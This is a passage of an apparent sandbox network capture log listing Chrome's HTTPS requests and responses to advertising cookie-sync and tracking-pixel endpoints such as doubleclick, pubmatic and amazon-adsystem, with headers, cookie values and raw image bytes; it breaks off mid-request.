2024-01-10 23:27:24 UTC	663	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:24 GMT content-type: text/html transfer-encoding: chunked set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%7D; path=/; expires=Thu, 09 Jan 2025 23:27:24 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://contextual.media.net/cksync.php?cs=8&vsid=3479308330180239000V10&type=r1&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 etag: RX3aca3d5089944e16b777d0ebcb44b35f005 connection: close
2024-01-10 23:27:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.4	50298	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	779	OUT	GET /pixel?google_nid=rubicon&google_hm=YTE5NWE1N2Q3MmExN2FmNWY3MzBiODE2YjhmYjJiMWNhMDdjNGI4Mw&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:24 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Wed, 10 Jan 2024 23:27:24 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:24 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.4	50297	3.225.218.10	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1184	OUT	GET /ups/58824/sync?_origin=0&dpid=58280&ovsid=316bb570-8374-4683-a0e9-a8b41619214a&redir=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z"
2024-01-10 23:27:24 UTC	869	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:24 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://hb.yahoo.net/cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ovsid=316bb570-8374-4683-a0e9-a8b41619214a&dpid=58280 Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:24 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.4	50299	52.87.108.188	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	696	OUT	GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
2024-01-10 23:27:24 UTC	424	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:24 GMT location: https://pixel.rubiconproject.com/tap.php?v=183462&nid=4114&put=AABsm07LPlAAABMLLoldYg&expires=30&gdpr=0 Server: gunicorn set-cookie: bito=AABsm07LPlAAABMLLoldYg; Domain=bidr.io; expires=Sat, 08 Feb 2025 18:27:24 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.4	50301	207.198.113.87	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	698	OUT	GET /dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=ab25e982-1377-4641-a931-12c3dc8e9d24#1704929244042
2024-01-10 23:27:24 UTC	761	IN	HTTP/1.1 302 cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=ab25e982-1377-4641-a931-12c3dc8e9d24#1704929244042; Domain=.sitescout.com; Expires=Thu, 09-Jan-2025 23:27:24 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcwNDkyOTI0NDgyM30; Domain=.sitescout.com; Expires=Fri, 09-Feb-2024 23:27:24 GMT; Path=/; Secure; SameSite=None location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent= content-length: 0 date: Wed, 10 Jan 2024 23:27:23 GMT server: A connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.4	50289	54.239.38.253	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	718	OUT	GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:25 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: YZNT7XWMW5BMFA1T3YHG Set-Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 23:27:24 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 23:27:24 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.4	50307	52.46.151.131	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	698	OUT	GET /ecm3?ex=rubiconprojectHMT&id=Yid5ajjfTX6tVeYh4L78ow&gdpr=0 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:24 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 2ME91S2469MSXTB37F5P Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.4	50314	162.248.18.34	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	2680	OUT	GET /AdServer/SPug?partnerID=156078&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
2024-01-10 23:27:25 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1704929245; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:25 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.4	50316	34.98.64.218	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	716	OUT	GET /w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
2024-01-10 23:27:25 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.4	50306	3.222.135.61	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	824	OUT	GET /insync?gdpr=0&gdpr_consent=&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&vxii_pid=12&vxii_pid1=10067&vxii_rcid=71a4da1a-bb78-4555-8d0d-3c1aa9d7970e HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDQzNTAsInQiOjF9
2024-01-10 23:27:24 UTC	353	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDQ5MjgsInQiOjF9; Path=/; Domain=thrtle.com; Expires=Sun, 28 Jul 2024 23:27:24 GMT; Secure; SameSite=None
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.4	50309	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	2895	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AABsm07LPlAAABMLLoldYg&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
2024-01-10 23:27:24 UTC	587	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:24 GMT; path=/ Set-Cookie: PugT=1704929244; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:24 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:24 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.4	50305	8.28.7.81	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	2767	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=71776206&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; 